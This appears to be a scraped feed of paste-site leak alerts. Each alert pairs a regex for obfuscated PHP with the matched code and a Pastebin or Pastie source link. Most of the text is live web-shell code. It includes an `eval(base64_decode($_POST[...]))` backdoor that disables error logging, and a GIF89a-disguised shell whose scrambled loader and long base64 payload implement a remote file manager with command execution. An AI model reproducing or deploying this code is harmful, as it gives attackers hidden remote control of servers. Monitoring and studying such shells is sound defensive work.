Q/VigOTrQKixDmYxDPcsDKerDDf3k0bUB9vlP1nEEOVnILwCTFBnBlDYn5AuZlCOi8Wf8TqAMFKJoS0gLjFaVbhe/plMbFWA8egf30Zfryffxr9Bhr7V0rOiSysya2E2Urh3vu6+b5SnTp7XoEEE/c0TcJl6VZOishfzCLM3MiB3RXsAoQ/34ka7eTvNJ4YWybHdIJDQ0BQUnLSonsIv3zrF7qMVdFdfM6wJV3PmLmD8RGeBq5pL7bco69rfoK0E29WujQIGPdYsw96z6LeAT1mDdlstiVy0W6rZECLJG0cJrfpMBbkASKlBQVWQOSXacQ0LuppmEAFyAWzXWRQtxTMW5+QYL4e90+5J79QglyXg6IkGb5WZzqq+oOB15JCYe8IID1rwqDreehdZUu45Jtz5nKZzQQ3lvbC+oOgQ55m7AMck1qbTt/o42qp/lwQ2toX7KQSRZXU/1vE75AIMbT9ZAcs0KyjpQbcGpN2P8OfKIgbJSQmWAOPPkV9Ze6n/HDkQ76cuyK8lafMp/MoyyPk5ctmlvDIQYtd52gLy0fpICp72Hp7SDtbLjAEkYNbm/T7mltiJFPArOB68JIIRNpATEFk3x9+2GROZJJY+QrmuvpAWnIs5CIdAlPlN/fUK3wkUU4O8kKqKcDddC8Rj0jkjmLkXIoVxdnxcpu0Y9SlYYLBXiQsOcHAjQs3XxDaqrAUqyBEYzqoFRyZrE+dt0gF7HhHx8Ro/nmeZsEWdixR0dFRlWw3xtQNcyiptideqCvy0CikrdyysJuXKH2yMlDurg2vC65vfUX/49GWjBsRM7NT2XS8g+kBvVaitwgEvvovNEy4e1Ewt89TlzJ079WpTvhRqnKXOzoOWZzbEK1S7ncVxOKUc7gs8YGlL3kRbbrxsZ1N+CQc7HOJORNdydkxXWXzoMwpKA9cxjRaHIBdkH/5wgsiP36LchnlivbF7bwa1Vww4JmWIynsqS03SQPJJw3h+YKarKWBKtKF6Z91nBs6gKC+Mh6KPrj24YN9du6MbKh64826FWeLiBXbn/eXXz1+v9dqtQK/dCoo2Fi7uf8BBXS1KZC9gzcb5qw+fr67/9WVE5tkyvDiXv9PY216cpy4PkuzCi93VEszbCmOX4u6c5m3hoM7gtDXotuyO3epabbw1tmdxK5knlwtHWxymjpYeckfjtw3j7LytGJ63Jf+2ENaoDixlRYiAgKujpOiCEUcD6zk1K4q1hVNvCeQatv1Av/u0ef/QfbxttaEvgEL18kuXtLQ8sbHHc9fOO23yBVZvsBMU3Fu6O9eNO+MB7s74wr2WL3qILpQH/xYFD9GNczj7cPFV7T4FGt16Dx0TlXpxouEDrOShMglaD6zDKgqf7JHo7Zvv9Phn+Wxb2+SUpuykN1GhUdtI0oGO1TBMy+wW3R82tYWH2Tbks3t/s5hPW5y3opX0ss+YJ/ycUEeodAiJhgwbgke7LThlifM/hXH5ygIeRnNBZiZFJMiqkiUGPiJ3ipRJ3GfVIxB9ZtJqHFInPEycRquWEkAPgARiEjirUlB7aU7g/ol5gZOqsqvd8BUPZJl4Hjl7shHMMmOBJ46aNGUQJpNfRtc3wloQXpf1zzedt1ZZjso6BPJMvX2pG1Direo+r9ax+9sIH0gE+a6thF4QS5moVoqqvH/ZZomjWCjjmNiaq+vr40FxpEklHEdv6/jYX36VOulSG/Bj9b9FL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAGXdR9ovb0UMgrDAs8IW1yOOxwPy2Yyf9oqr0y7LHnfzEoKLIbhMjdKI6huoGro7eoJguDPBX4+B8=')));?> Source: http://pastie.org/pastes/9133867/download
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: t.getElementById('READ_Line').value = encodeURIComponent(document.getElementById('READ_Line').value);" value="Read"></td> </tr> <tr> <td height="45" colspan="2"><input type='text' name='READ_Line' id='READ_Line' value='<?php if($_POST['READ_Execute']){echo urldecode(filter($_POST['READ_Line']));}else {echo $dir;} ?>' size="70"></td> </tr> </table> </form> <!-- End Of Commands Alias--> </td> <td width='30%' height='30' valign="top"> <!-- Commands Alias--> <form method='POST' enctype="multipart/form-data"> <ta Source: http://pastebin.com/raw.php?i=y9bH19tm
↧
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php eval(base64_decode($_POST['n8743bb']));?> <?php @error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if(count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $SomeGlobalVar = false; fo Source: http://pastebin.com/raw.php?i=QauiswmE
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: GIF89a1 <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaH